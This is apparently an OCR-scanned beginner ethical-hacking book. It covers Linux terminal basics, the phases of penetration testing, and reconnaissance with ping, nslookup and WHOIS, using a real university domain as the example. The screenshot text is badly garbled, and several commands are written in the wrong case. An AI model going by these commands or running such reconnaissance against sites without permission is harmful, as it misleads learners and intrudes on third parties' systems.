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To be able to perform a successful penetration testing or ethical
hacking, first, you have to know all the secrets of your targets. You
should find all the systems and network devices of your target
network before proceeding an ethical hacking operation. Nmap is
the scanner that other scanners are measured against. it is an
indispensable tool that all techies should know well. It is used by all
ethical hackers, penetration testers, systems administrators, and
anyone in fact who wants to discovery more about the security of a
network and its hosts. This book is based on real experiences using
Nmap in network security tests on a huge variety of networks. In the
end, you will have the information you need to safely and
effectively scan networks for vulnerabilities, services, and hosts.
You will start out at the very basics and work your way up to
writing your own basic Nmap Scripting Engine (NSE) scripts, and
you will become an expert to using the most powerful and flexible
network scanner available.
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powerful
and flexible network scanner available.

Chapter 1

What is a virtual machine? I can just give you a definition and say virtual
machine is a machine within our physical computer that is using its hardware
resources. But for most of you, this will be a new term that you haven't
encountered before, so I would like to explain it further, more for you as
well as mentioned, why are we going to use it?

All of us are running an operating system and 99.9% of us are running one
of the three main operating systems. You either have windows. Mac OS or
Linux, most of you will have either Windows or Mac OS. I doubt anyone
will be running Linux, but nonetheless, these are the three main ones. And
what if we wanted to, for example, run two different operating systems on
the same machine? For example, let's say you have windows installed on
your machine and you want to install Linux or even better in case you want
to install five operating systems running on different virtual machines. Can
you do that? You can how would that work? Well, picture it like this.
Imagine the rectangle representing our computer. And we already know that
any computer will have one of the three main operating systems, Windows,
Mac OS or Linux. But operating system is not the only thing that is defining
our machine. Our machine also has its computer parts. We have hard disk
processor, RAM memory motherboard and many more computer parts that
with the operating system, make our machine work. These computer parts



are also known as hardware. Picture a virtual machine to build a smaller
rectangle within our physical machine, which is the larger rectangle. And
let's imagine that our physical machine is running Windows operating
system, but you’re going to be doing all of our hacking stuff, mostly over
Linux. Does that mean that we must delete our Windows and install Linux?
No, we will install Linux as a virtual machine. And for this machine to work.
It will need to have access to our hardware components. What does this
mean? Well, since Virtual Machine will act as a machine of its own, it must
have its own computer parts and what we will do is we're going to borrow
our physical machine, CPU power, ram memory, hard disk memory to our
virtual machine so it can run just like our physical machine. In other words,
we are splitting the power of our physical machine into two different
machines or more if we decide that we want to create multiple virtual
machines. Does that mean that they will be slower since they will be
splitting the resources? Well, technically, yes, but it will not be noticeable for
us. However, the more powerful your PC is, more virtual machines, it will be
able to run effectively. Another important thing is that once you shut down
your virtual machine, all of the hardware resources used by it will get
feedback for your physical machine to use. OK, good. And what are the
other benefits that we have if we create a virtual machine? Well, since we are
hackers and we will be doing a lot of things and running a lot of programs on
that virtual machine, we want to make sure we are doing it first in a safe
environment, at least while we learn. The good thing about virtual machines
is that if, for example, our machine starts getting some annoying error or we
get locked out of our files, or another case would be that we delete the file
that we shouldn't have deleted and it crashes our virtual machine. What if we
simply just get infected by a malware or virus by accident or another
possible scenario would be that we just installed the wrong version of
operating system, which we don't need. Will any of this present a problem?
Don't worry, with two clicks, we can delete entire virtual machine, all of its
files, and it will have no effect on our physical machine, then we can
proceed to create a new one for as many times as we want. We can also
create something called a snapshot, which will allow us to save the current
state of a virtual machine, and with it we can reverted back to that state
whenever we want. It can be useful if we, for example, ran into some error
or we get infected with the virus, we can simply just have reverted back and



our virtual machine will act as none of that happened. Sounds cool, right?
Now that we know how virtual machines work and why are we going to use
one, you must be wondering how can we create a virtual machine? Actually,
it is pretty easy. All we need are two things. We need an operating system
that we want to install in that virtual machine. And we also need something
called virtualization software. Now, what is that, even though it sounds harsh
saying virtualization software, what it essentially is, is a program that will
allow our physical machine to borrow hardware components to our virtual
machine, or we can also define it as a program that will allow us to run
multiple operating systems on a single host. So with these two, we can create
our virtual machine.

Why Linux? why are we installing Linux operating system on a virtual
machine? can't we hack using Windows or Mac OS? Well, yes, but Linux is
something far better for that. So what were the benefits for Linux? First
thing that's great about linux is that it is an open source operating system.
This means we can inspect the code of it and see how it is made and what
programs or functions it runs, it can be used for any type of work, not only
for hacking, but many programmers also use Linux, many servers all over
the world are running on Linux, and another great thing about it is that most
of the Linux districts are free of cost. Maybe some of you have heard about
Ubuntu, Linux, or Debian, while to, for example, use an updated Windows
operating system. You must pay for a key or license. Linux, on the other
hand, is free to download for anyone. And not only that, but it also due to it
being an open source, it allows the users to edit, copy or distribute various
aspects of Linux based operating system without violating any copyright law
or terms and conditions. This is one of the main reasons hackers use Linux
because they can easily develop software is used for hacking and penetration
testing, and they can change and edit the operating system for their needs.
Another good thing is that it is also very light requires less disk space
consumes less ram in order to run so it can be easily running alongside any
other operating system like Windows and Mac OS. And last but not least, is
that, as we mentioned, due to Linux being an open source and allowing
anyone to change and interact with the operating system, it allows people to
create an operating system that will specifically be made for one purpose,



such as for ethical hacking or penetration testing and learning systems like
that already exist. There are Linux distro called kali Linux, Parrot, Backtrack
and others that are specially made for penetration testing and checking for
security loopholes, and all of them are widely being used by hackers. What's
great about it is that it automatically comes after installation with a bunch of
different tools used by penetration testers for hacking.

It is time we slowly start getting into the hacking process. It is important we
get the basics first and that we know why we do everything. From now, the
basic steps that we are going to do is we will use our linux machine to scan
and attack different machines, networks, websites and accounts. But how are
we going to do that? Do we just magically attack it? do we just install virus
on their machines somehow? So, how can do that? What about Trojans
password cracking or phishing? Is that what we do? Well, that is just a small
portion of a penetration test. First thing and most important thing before we
even start the penetration test on target is to figure out do we have
permission to attack this target? This is very important, since you don't want
to be attacking machines or target networks that you do not have permission
to attack. It could be that client told me to only test one machine on the
network and not the entire network. Therefore, I'm only allowed to test that
one machine. Or it could be that our client has multiple networks and they
only allowed us to test one of them. That means you should not go around
and try to hack different machines on a different network. Now, these are
only some of the examples. But what's important to get out of this is that all
of us have permission to perform a penetration test. Trying to hack or
hacking something that you are not allowed to hack could potentially get you
into some serious trouble if you get caught. Now that we got that out of the
way, let us finally talk about different stages of penetration testing. We
already know that there are five of them, and the first one is reconnaissance
or information gathering. Now, reconnaissance is the gathering information



about your target to better plan out your attack, and this type of penetration
testing is the only one that you can perform on any website or target that you
want. Since gathering information about something is not illegal, there are
two ways that we can go about doing information gathering actively by
directly interacting with our target, or it can be done passively without
interacting with the target. A simple example of this would be, let's say you
want to gather information for Facebook and you would do it actively by
visiting Facebook page and getting all the information that you can from the
Facebook page itself. While passively it would be if you went to some other
website that talks about Facebook and you get information about Facebook
from that other website. This would mean you never interact with Facebook.
Therefore, you performed a passive information gathering. After the step
comes scanning. Here is where you can start getting in trouble if you do it
without permission. Scanning is a deeper form of information gathering,
using technical tools to find openings in the target and in the systems that
you're attacking, these openings can be gateways, open ports, operating
systems that target runs and... In this step, we also perform vulnerability
scanning, which is just searching for vulnerable software in the target system
or network that could possibly be exploited. After information gathering and
scanning comes third step, which is gaining access or so-called exploitation,
and this is the step where we actually hack the target, we use information
that we gathered in phase one and phase to take control of any number of
target devices. Gaining access of target devices allows us to steal data from
their system or to use those devices to attack other devices on the same
network. Usually after this step, you can consider penetration tests to be
successful since you managed to gain access to a target system. However,
this is not the last step of a penetration test after exploitation comes
maintaining access. This step with the fifth step is sometimes option. You
might not need to always perform last steps, since client might only care
whether their system is penetrable, therefore you prove them. It is after the
third step if there was a vulnerability, of course. However, maintaining
access is also important step, and it is commonly done by installing back
doors and planting rootkits. But a back door and rootkits are simply
programs that will allow us to gain access to that target whenever we want
without the need to exploit it again. We just connect to the backdoor that we
planted in the target system. And there it is. We are again on their machine.



And last step of penetration test is covering tracks. Covering tracks is simply
removing all evidence that an attack ever took place. This can involve
deleting or hiding files, editing logs, or basically reverting any changes that
you did to the system while the attack took place. OK, so these five steps are
entire process of a penetration test and we're going to cover Information
gathering and scanning. Keep in mind that these steps should be performed
in order. And one more important thing is, in case you're a beginner, you
might think that third step, which is exploitation or gaining access, is the
most important step of the process, even though it is very important but the
most important steps are actually information gathering and scanning. It is in
these two steps that we gather information about the target and discover
vulnerabilities. So if you're not that good in gathering information, you
might miss some things that could be used to gain access to the machine,
therefore preventing you to find an actual vulnerability. So just keep that in
mind that information gathering is 70% of work.

It is time we finally learn how we can use our Kali-linux machine, don't
worry, terminal is not difficult to use. But before we get to open it and run a
bunch of the commands, let us first define what terminal is. Terminal is a
program that allows us to interact with Linux operating system using
different commands, we can create files, delete files, create directories, run
programs, set different tasks to execute, and we can do many more things
using it. It is important you get used to it, especially if you never used it
before, because if you're coming from Windows or Mac OS, you probably
are used to opening files or folders by clicking on different icons and
navigating like that. For example, on Windows we usually open files by
double clicking on an icon and it will open that folder. And on Linux, we can
actually do the same thing, so if we go in our linux machine and for
example, I want to open home folder, I will double click on that folder and it
will open the folder with all the files inside of it. But we don't want to be
doing it like that. Let us see how we can do it using terminal.



First thing that we notice is username and the host name, but we also noticed
this /Desktop. This means that our terminal process has opened inside of this
directory. Does it always open there? Nope, it only opened there because we
told it to open there. I clicked on desktop and clicked open terminal here.
And to check the directory name, we can type the command

$PWD

-[~/Desktop |

/homéfncimjDesktop

And this PWD is simply stands for print working directory.

Do we always need to go to that folder and open terminal inside of that
folder for it to be inside of this directory? Of course not. We can use a
command called CD. Let us test it out.

$CD Documents



. )-[~]
cd Documents

)-[ ~/Documents |

Here it is, we are in documents directory, and for example, if he wanted to
go one step or one directory back, if we can type documents, CD .. What
this command will do is, it will go one directory back

$PWD
$CD ..
$PWD

r——{ )-[ ~/Documents |

/home/ncim/Documents

)-| ~/Documents |

)-[~]

So these two dots tell the terminal to go one directory back, but how can we
know which subdirectories and files are in the home directory? we didn't see
any files inside of our terminal, so how can we list them? How can we see

all of these files using a terminal? to check files and folders in any directory



we can use another familiar command, which is [Is], and this command
stands for the list, so let's just test it out.

$ls

File Actions Edit View Help

outputscan outputscan.txt

File Edit View Go Help
» & <« Ancim

Places

B8 Computer :
: e @ v

B ncim
e

Desktop Documents Downloads

B & D

Pictures Templates

a
res
@) Downloads H H

Devices outputscan  outputscan.txt
B Fite System

Network
D Browse Network

here we are, we can see same folders and same files that we can see inside of
this windows and our terminal. So we use a terminal instead of clicking on a
bunch of files, a bunch of icons, we now are doing all of that with our
terminal. Now that we know which folders are in this directory, if we can
choose which folder we want to go to and use the command to go there. But
let us go one directory back, we already know how we can do that and by the
way, CD simply stands for Changing Directory.

$CD ..
$LS



)~ [~]

)~ /home |

)~ /home |

And now we can see once we went one directly back, we are in the home
directory. and we can see here is our ncim directory that is containing these
files up there such as desktop, documents, download and ... this is the only
folder inside of this home directory. Let's go one more step back.

$CD ..
$CD ..

now I'm in the / directory And we can go more than that, because this is the
main directory that has all of the other files and directories in the system if
we try to type cd .. ones again, you can see it still be in this directory. Well, if

I type [ls]

$LS



results

These are all just standard linux directories, you will notice that not all of it
is same color. This is because not all of the stuff we see here is the same
thing, something is a directory, something is a file, and for example, we
cannot use CD comment into a file, we can only use it to go to another
directory, So if we try

$cd initrd.img.old

results

—{ *\_/'
—% cd initrd.img.old
cd: not a directory: initrd.img.old

)-[/]

This not work, it's give us an error saying not to directory.



$cd /etc

results

( )-[/]
cd initrd.img.old

cd: not a directory: initrd.img.old

)-[/]

)-[/etc]

now we are inside the etc directory and here I can type [ls] to list all of the
files inside of the etc directory.

$ls

— )-[/etc]
—$ s
adduser.conf screenrc
adjtime
nanorc searchsploit_rc
hdparm.conf netconfig searchsploit_rc.dpkg-new
host.conf
hostname
hosts sensors3.conf
hosts.allow networks
hosts.deny nftables.conf services
bash.bashrc idmapd.conf shadow
bash_completion nikto.conf shadow-
inetd.conf nsswitch.conf shells
bindresvport.blacklist ntp.conf
smartd.conf
odbc.ini
smi.conf
ca-certificates.conf inputrc

ipsec.conf

ipsec.secrets pam.conf strongswan.conf
issue
issue.net papersize

passwd subgid

passwd- subgid-

And you also notice that here we got a mixture of files and directories as
well. Directories are these dark blue names. While files can be other colors



depending on file type. Usually they are white.

We learned the basics of navigating through the system and directories,
using different commands. here is a practice test, try returning to the desktop
directory from this etc directory, using only the comments that we learned.
So practice a little bit with these commands. This is nothing really too hard.
Just take some practice and you will get used to it pretty soon.

We know how to find our way to the desired directory in terminal, but what
if we need to create a file or a subfolder in another directory, how can we do
that? Let's get back to the files to create a simple empty file, we can use a
command called Touch

$ touch backdoor
Sls



® /home/ncim
touch backdoor

-] /home/ncim
1s
backdoor outputscan outputscan.txt

2 /home/ncim

Now we create a file named backdoor, and it will have no contents inside of
it. to make sure this file is indeed empty, we can use the command cat, and
this command, once executed on the file, writes out all the contents that are
inside of that file. Let's try it out

$ cat backdoor

@ /home/ncim
cat backdoor

@ /home/ncim

This give no results since, as we already mentioned, the touch command
creates empty files. If we want to, for example, put something inside of that
file, we can use a command echo. You simply just typed it and put
something you specify after the echo, so we specified an entire sentence.

And all we need to do is to put this sentence inside of this file is to specify
arrow to the right. And after it, specify the name of the file that we want to
put this sentence in

$echo have a good day > backdoor

® /home/ncim
ho have a good day backdoor

@ /home/ncim




So if I use can command again:
$cat backdoor

® /home/ncim
1t backdoor
have a good day

@ /home/ncim

We can see that now it outputs exactly what we've written to that file using
the Echo comment, but there is an easier way and more practical way to do
all of this. We can use a text editor to write things inside of a file and an easy
text editor that we can run from terminal is called Nano. So let's try to do the
same thing we just did using Nano. we should type Nano and after Nano
comes the name of the file that you want to edit, and since we want to edit
our new file that we haven't created yet, we can simply just type name

$nano new file



root@kali: /heme/ncim

File Actions Edit View Help

GNU nano 5.4 newfile

B0 write Out [ Where Is B3 Cut Execute B8 Location &l Undo IR Set Mark
B Read File g\ Replace W Paste Justify M Go To Line [ Redo Les Copy

This open this empty window where we can type anything we want. We can
type file content here and it can be anything we can type, for example, text,
but we could also type code if we wanted to. Let's start with text first.



File Actions Edit View Help

GNU nano 5.4
Hello world

To save this, we press ctrl+o together, then enter to save under this name and
then ctrl+x exit the Nano.

So let’s check this again.
$cat newfile
® /home/ncim

cat newfile
Hello world

. /home/ncim

We can see the output of Hello World. So we managed to do it only using
one tool, which is nano, instead of using two tools which are touch and echo,
but I also mentioned we can do the same thing with programs. For example,
how can we create Python program using nano and terminal? First, we need



to open a file, so let's type nano and file name with .py and in this case we
add dot .py because that is an extension for Python programs.

$nano pythonl.py

L. /home/ncim

no pythoni.pyl}

we're going to run a simple command, which is print and then hello world
between the quote.

ol rect@kali: fheme/ncim

File Actions Edit View Help
GNU pythonl.py *

("hello world")

And you will see that some stuff changes colors, this is because the Nano
editor recognizes this as a Python program. we just ran a simple function that
will print out the string that is in between the quote. So this will just print out
how world let's save it and run it. and luckily for us, Python is already
installed in Kali-linux So all we need to do to run this program is to type
python3 and then the name of the file

$python3 pythonl.py



2 /home/ncim
nano pythonl.py

L /home/ncim

python3 pythonl.py
hello world

® /home/ncim

Now that we know how to create files and execute Python programs, the
next question would be how can we create the directory? To create a
directory, we can use the command [mkdir], which stands for Make
Directorate. To check it out, let us run mkdir and name of the directory
folder.

$mkdir folderl
$ls

2 /home/ncim
lir folderl

2 /home/ncim

backdoor outputscan pythonl.py
newfile outputscan.txt

/home/ncim

we can see that we got our files as well as a directory, which is a different
color and it is called folder1, Remember, we differentiate them by color and
also if we try to change the directory to the folder, it will work.

$cd folder1



$ls

2 /home/ncim
cd folderl

® /home/ncim/folderi

® /home/ncim/folderi

You can do pretty much anything you want, you can create sub folders or
create files, whatever you want to do. You can to move, for example, our
Python program from the home directory to our folder1 directory. We can
use Command and [mw] which stands for move. We must first navigate back
to home directory.

$cd
$mv pythonl.py folderl

/home/ncim/folderi

2 /home/ncim

mv pythonl.py folderl

L /home/ncim

So we specify move, then the second parameter is what we want to move,
which in our case is python1.py and the last parameter is where we want to
move it. we want to move it inside of our folder1 directory. if we go to the
folder1 directory and type Is here, we will see it here because we moved it.

$cd folder
Sls



2 /home/ncim
cd folderl

: 2 /home/ncim/folderl

pythonl.py

2 /home/ncim/folderi

Here it is. We also want to see how we can copy a file and we can do it using
this CP comment. This does the exact same thing as move command, but it
doesn't move it from original directory to desired directory, it just copies it.
So let's try to copy pythonl.py and call it python2.py

$cp pythonl.py python2.py
$ls

@ /home/ncim/folder1
cp pythonl.py python2.py

- /home/ncim/folderi
&

pythonl.py python2.py

- /home/ncim/folderl

This create an exact copy of our file in the same directory, if we want to
check both of them we can type

$ cat pythonl.py
$ cat python2.py



® /home/ncim/folderi

cat pythonl.py
print ("hello world")

e /home/ncim/folder1
cat pythonZ.py
print ("hello world")

® /home/ncim/folderi

And we can see they're both the same Python programs. and another
comment that we want to cover regarding files is the command [rm] This
command deletes files and directories and let's say we try to delete one of
this python program, be careful with this common sense, once you delete the
file, there is no trash bin where you can retrieve it, it is gone.

$rm pythonl.py
$ls

2 /home/ncim/folderi
rm pythonl.py

2 /home/ncim/folderi
.

python2.py

® /home/ncim/folderi

you can see our pythonl file is no longer there, but how do we delete a
directory? Let's first create a directory inside of our folder directory

$mkdir folder2
$ls



® /home/ncim/folderi
folder2

® /home/ncim/folderi

python2.py

® /home/ncim/folderi

folder2 is a subdirectory of our folder1, and let's say we did create this
directory by mistake and we want to delete it, can we use our rm? Well, we
can try it.

$rm folder2

® /home/ncim/folderl
rm folder2
rm: cannot remove 'folder2': Is a directory

(-] /home/ncim/folderl

cannot remove file, and it tell us that it is a directory, so how do we delete it?
Well, we'll remove it in the same way we remove files. we just add an option
[-r] at the end of the comment.

$rm folder2 -r
$ls

] /home/ncim/folderi
rm folder?2

o] /home/ncim/folderi

python2.py

2 /home/ncim/folderi

This delete our directory. If I type



/home/ncim/folderi

This command deletes all linux machine with all of its files. So always pay
attention, what exactly are you deleting in Linux and from which the
directory is you deleting, sins inside of the Linux you will not be stopped in
deleting anything you want, you can easily delete a crucial file for the
operating system and make your kali linux machine unworkable. That is also
a reason why we are practicing with virtual machine.

Let us talk about the few network comments that we could use a lot. The
most important comment we already know is [ifconfig] we use ifconfig
command to get our IP address and what the output of this command, all the
network interfaces as well as IP addresses corresponding to those interfaces.

$ifconfig



. /home/ncim

ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255

inet6 fe8@::a00:27ff:fedd:a5c1 prefixlen 64 scopeid 0x20<1link>

ether 08:00:27:dd:a5:c1 txqueuelen 1000 (Ethernet)

RX packets 1 bytes 590 (590.0 B)

RX errors @ dropped @ overruns @ frame 0

TX packets 15 bytes 1390 (1.3 KiB)

TX errors @ dropped © overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x1@<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 8 bytes 400 (400.0 B)

RX errors @ dropped @ overruns @ frame 0

TX packets 8 bytes 400 (400.0 B)

TX errors @ dropped © overruns @ carrier @ collisions 0

-] /home/ncim

And here is output of ifconfig command and for you this will probably be
different. Here I have ethO interface, which is my cable connection, and it
has an IP address, and I can also see the loop back interface, which is LO,
which all of us should have, which is also a localhost IP. If you have another
interface called differently, that is also fine. You could have a different name
interface if you, for example, are connecting over Wi-Fi. first IP address that
we get is called Local IP address, which means it only works inside of our
network to communicate with other devices that are also inside of our
network. There is also something called Public IP Address, which we are
going to talk about later. For now, just remember ifconfig Output's local IP
address as well as our network interfaces. Another thing we can get from
Ifconfig is our Mac address for a specific interface. And what Mac address
is, is a unique identifier for every device, unlike local IP addresses that could
be the same in different networks, while the Mac address is unique for every
device in the world, and in case you are new to all of this and don't have
much previous experience with MAC addresses and IP addresses, you might



be asking, why do we need both of them? Well, let me explain this. Mac
addresses are unique and usable in communications with your neighbor
machines or simply with machines that are on your network while IP
addresses are used to communicate over Internet and they can also change.
Remember it like this Mac address tells you who you are, IP address tells
you where you are. So that is the ifconfig comment,

and now that they think of this comment, there is one more important
comment that I didn't show you and that you will use a lot, which is sudo, it
is just a command that we use once we want to execute something as a root
user, and just to remind you, our root user is something like an administrator.
It has privileges above all other users, with root user you can execute any
commands that you want. For example, if we run ifconfig without sudo or
root privileges once we ran it, told us command doesn't exist.

That is because ifconfig command must be run with root privileges in order
for it to execute. we will encounter many programs and many comments that
will require sudo in order to run, and sometimes there could be multiple
commands at once that we must execute as a root user, there is one call trick
so you don't have to type sudo before every command is to run at the
beginning

$sudo su

suUado su

[sudo] password for ncim:

@ /home/ncim

It is login into the root terminal. So everything you run from now on, you
will run as a root account, right now I no longer need to specify sudo
Ifconfig, I can just specify Ifconfig and it will not tell me command not
found it will have executed. If you want to exit out of this terminal, you
simply just type exit and it'll exit the root terminal



$ifconfig

Sexit

[sudo] password for ncim:
@ /home/ncim
1tcontig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
ineté6 feB8@::a00:27ff:fedd:abcl prefixlen 64 scopeid 0x20<Llink>
ether 08:00:27:dd:a5:c1 txgueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
X errors @ dropped © overruns @ frame 0
TX packets 17 bytes 1514 (1.4 KiB)
TX errors @ dropped @ overruns @ carrier ® collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x1@0<host>
loop txgueuelen 1000 (Local Loopback)

RX packets 16 bytes 800 (800.0 B)

RX errors @ dropped @ overruns @ frame 0

TX packets 16 bytes 800 (800.9 B)

TX errors @ dropped ® overruns @ carrier @ collisions @

/home/ncim

let's just create another file, just make sure you go to the root account of the
terminal and then type

$nano backdoor
)-[~/Desktop]

[sudo] password for ncim:

] /home/ncim/Desktop
no backdoor

And then type anything you want I just type hello there and save it.



L reot@kali: /lhomefncim/Desktop

File Actions Edit View

GNU nano 5.4 backdoor =*
hello there

=l root@kali: fhomefncim/Desktop
.ﬂ File Actions Edit View Help

backdoar

® /home/ncim/Desktop
backdoor

® /home/ncim/Desktop

We can see backdoor file on our desktop, but it also has this lock. This
means we as a normal user cannot edit this file. So if I go to the backdoor
file with normal user we cannot change anything



neim@kali: ~/Desktep
File Actions Edit View Help

GNU nano 5.4 backdoor *
glello there

[ Error writing backdoor: Permission denied ]

9 Write out @I Where Is Wy Cut M| Execute W8 Location
¥ Read File @ Replace il Paste g Justify il Go To Line

Only root account can edit it, and this is something you will encounter a lot,
so it is really important next time you see either something like command
not found or right protected file or this requires root privileges, just know
that it needs to be run with sudo. OK, now we are ready to finally go into the
process of penetration testing, hopefully you are excited since this is where
the fun starts, let us see how to perform the first phase, which is information
gathering. Let's start it



Chapter 2

It is time we're learning details what is information gathering and how can
we perform it?

We already know that information gathering is the first step in penetration
testing, and it is an act of gathering data about our target.

It can be any type of data that we might find useful for the future attack.
there are two types of information gathering:

ACTIVE Information gathering

PASSIVE Information gathering

In active information gathering, we use our Kali-linux machine and we try to
get as much data or as much information about our target while interacting
with them. It could be a target website that we need to test, so we need to
find as many things about it as we can, or it could also be a network that we
are testing or perhaps an entire company. The main point is that with active
information gathering, we directly get that data from the target. This could
mean directly exchanging packets with the target by visiting and
enumerating their website, or it could also mean talking to an employee that
works there. We could maybe call them over mobile phone to try to get them
to tell us something important, but this part is also considered social
engineering. Nonetheless, any action where you exchange something with
the target is active information gathering. This can be legal to an extent, if
you start performing some advanced scans or fingerprinting on the target,
you most likely won't get in trouble, but you should still not do it without
permission. And it is important to mention that usually active information
gathering will provide us with much more important data than passive
information gathering since we are directly interacting with the target.

But on the other hand we got passive information gathering. We got our
Kali-linux machine and our target. But we also have an intermediate system
or what I like to call a middle source and what this middle source is?
basically, it could be anything from a searching to a website. It could also be



a person. But what matters is that information we get is going through that
metal source. For example, if we want to find out something about a target
and we Google that target to find some pages that contain information about
it, this is considered passive information gathering, but what are the goals of
this? what exactly are we searching for? which information could be of value
to us? Usually the first thing we search to identify a target is their IP address
or IP addresses, if the target has multiple addresses that belong to them. This
could be, for example, a company that has servers and buildings all around
the world, and if we were to test this company, we would also be interested
in their employees, for example, we will want to gather their emails, which
could be useful for a future attack to gain access to that company. Or we
could possibly want to gather their phone numbers, which could also be
useful. But most importantly, and what we're mainly interested in are
technologies that the target has. If it was a company, we would want to know
how many networks they have, what software’s are running on their
machines, what operating systems they have, if it was a website, we would
also want to know how that website was built, which programming
languages it has. Does it have JavaScript or PHP or ... just one software on
one machine that is outdated or that has unknown vulnerability that could be
exploited is our way in.

So now that we know what we are looking for during this first step, it is time
we see what tools and programs can we use to find out as much information
as possible about our target. So let’s start with something easy. Let us see
how we can identify our target and get its I.P. address. We are going to check
how we can do this both actively and passively. Let's do it with active
information gathering first, so this means we are going to interact with our
target. So just go on Google and pick a website that you want to use for this.
It can be any Website that you want. And what we're going to do for the first
test, I'm going to use etf.bg.ac.rs website. his is just some university page
that they picked and what we can do to get its IP address is to ping it. Most
of you will already be familiar with ping, since it is installed by default on
any operating system, by pinging this website or any other website we are
sending something called ICMP packets to that website, and if we get
responses back, that means that website is up and running, but what we also
get besides that response is the IP address. So let's try it out.



$ ping etf.bg.ac.rs

\MD>ping etf.bg.ac.rs

inging etf.bg.ac.rs [147.91.14.197] with 32 bytes of data:

And it seems we are not getting any responses back, but what we did get is
an IP address. And we are not getting responses back from this site because
it is probably blocking ping probes, which some websites often do. Let us try
another site to see how it looks once we get responses back.

$ping google.com

le..

216.58
¢ from 2 30,142 :
r from
¢ From
r from

Ping stati

ved = 4,
Approximate r ' in milli-
Minimum : = 324ms,

Here we get an IP address of google, and as you can see google is up and
running and also responding to our ICMP packets. Just to know, that IP
address is just one of the IP addresses that google uses. So for you, once you
ping it, you will probably get a different result, what we saw is an example
of active information gathering to get the IP address since we directly sent
packets to these websites.



Another tool you can use to get IP from a website is called nslookup. Ok
let’s try it.

$ nslookup hackthissite.com

I

rootakali:/home/ncim# nslookup hackthissite.com
Server: 5.200.200.200
Address: 5.200.200.200#53

Non-authoritative answer:

Name: hackthissite.com
Address: 35.186.238.101

root@kali:/home/ncim# |

It’s give me the response which says server and address, but that is not the IP
address of this website that is just my router, and for the result or where the
IP address of this website is, is up there. if you wanted to do this passively,
you would search for this information such as IP address over some other
website, what we're going to look for is a website that provides us with IP
address of a different website. let us see how we can do that. I will simply
just go in the search bar and type:

Q = X what is an ip address of this website GO gle

it should probably give me a few results of different websites that will do
exactly what we want, which is get the IP address of another website. Let’s

try:



DATENTECHNIK

Home
IP Location APl
IP Checker
Privacy Check
IP Tools
Anonymous Surfing
Anonymous Email
Geolocation
Remote Control
Net Management
Testvirus
TCP/P Ports
FAQ
Links

Privacy Statement

O EJ https://ipinfo.info/t

ml/ip_checker.php

IP Checker 162.158.88.74

World
Weather
Data
API

This is one of the most popular tools to find out the owner, internet provider and location of any website, domain or IP
address. Checking IP addresses is useful for locating the origin of unwanted emails or the source of spam, virus and attacks.

It will show you the registered WHOIS and ARIN contact data of the domain owner and the company operating the associated
server, no matter where he is located. For dynamic IP addresses of private users you may find out their internet service
provider allowing to contact him for a complaint. - Try it out, it's free!

Tired of checking IP addresses manually?

= Locate website wvisitors wvia API
= Fully Automated & Secure
= Free for unlimited websites

Start using our Free APT

IP/Domain Checker
IP-Address, Domain or URL:

Check

down here we see something that says IP domain checker, we need to
specify the IP address, the domain or your URL. So if I type the same
domain name.



IP/Domain Checker

IP-Address, Domain or URL:

etf.hg.ac.rﬂ Check

Checking Domain Name

Domain Name: etf.bg.ac.rs

Top Level Domain: RS (Serbia)

DNS Lookup
IP Address: 147.91.14.197
Geolocation: RS (Serbia), 00, N/A, N/A Belgrade - Google Maps

Reverse DNS: vhostd4.etf.bg.ac.rs

Domain Check

Domain Name: etf.bg.ac.rs

Top Level Domain: RS (Serbia)

The data in the Whois database are provided by RNIDS

for information purposes only and to assist persons in obtaining
information about or related to a domain name registration record.

Data in the database are created by registrants and we do not guarantee
their accuracy. We reserve the right to remove access

for entities abusing the data, without notice.

ATT +HAamactameme Svs mriTten 3n C@orkhiad arn Tasasl S5 me

P o o o o of o

and hear is the result, then you will notice that, we get even more
information then we ask for, for example, here is the IP address of this
website, we also get from which country it is, as it says, in the brackets, and
we also get its geolocation, which says even the city, we can also check it
out on Google Maps if we wanted to.



Modification date: 01.04.2019 12:07:07
Expiration date: 10.03.2108 12:00:00
Confirmed: 10.03.2008 12:00:00
Registrar: RWIDS

Registrant: RNIDS

Address: %orZa Klemansoa 18a, Beograd, Serbia
Postal Cede: 11000

ID Number: 17680544

Tax ID: 104852190

Administrative contact: RCUB — Racunski centar Univerziteta u Beogradu
Address: Kumanovska bb, Beograd, Serbia

Postal Code:

ID Number:

Tax ID:

Technical contact: RCUB - Radunski centar Univerziteta u Beogradu
Address: Kumanovska bb, Beograd, Serbia

Postal Code:

ID Number:

Tax: ID:

DNS: odisej.telekom.rs - 195.178.32.2
DNS:: s rcub. bg.2c_rs = 14791 15
DNS: gaea.rcub.bg.ac.rs — 147.91.1.7
DNS: nsl . uns.ac.rg = 147.91.1373.4
DNS: ban.junis.ni.ac.rs — 160.99.1.1
DNS: ns.unic.kg.ac.rs - 147.91.209.2
DNS:: ns-etfibg: acirs = 147986
DNS: ns2_iif_ hu - 193.225.12.59

DNSSEC signed: no n

Whois Timestamp: 17.07.2021 12:51:27

Privacy - Terms

Down here, we get even more information, such as reverse DNS, we get
information about registration, date, modification, date, expiration date. we
get some of the DNS servers and we get its physical address. So this is the
exact location to where this server is located.



IP Address Check

IP-Address from DNS Host Lookup: 147.91.14.197

Geolocation: RS (Serbia), 00, N/A, N/A Belgrade - Google Maps

o

This is the RIPE Database query service.
The objects are in BRPSL format.

o o

The RIPE Database is subject to Terms and Conditions.
See http://www.ripe.net/db/support/db-terms—conditions.pdf

o o

% Information related to '147.91.8.0 — 147.91.15.255"
% Abuse contact for '147.91.8.0 — 147.91.15.255' is 'csirt@amres.ac.rs'

inetnum: 147.91.8.0 - 147.91.15.255

netname: ETF-Net

descr: LAN of School of Electrical Engineering
University of Belgrade, Serbia

country: RS

admin-c: MK100-RIPE

tech-c: NE100-RIPE

status: LEGACY

remarks: # For spam and abuse report please use
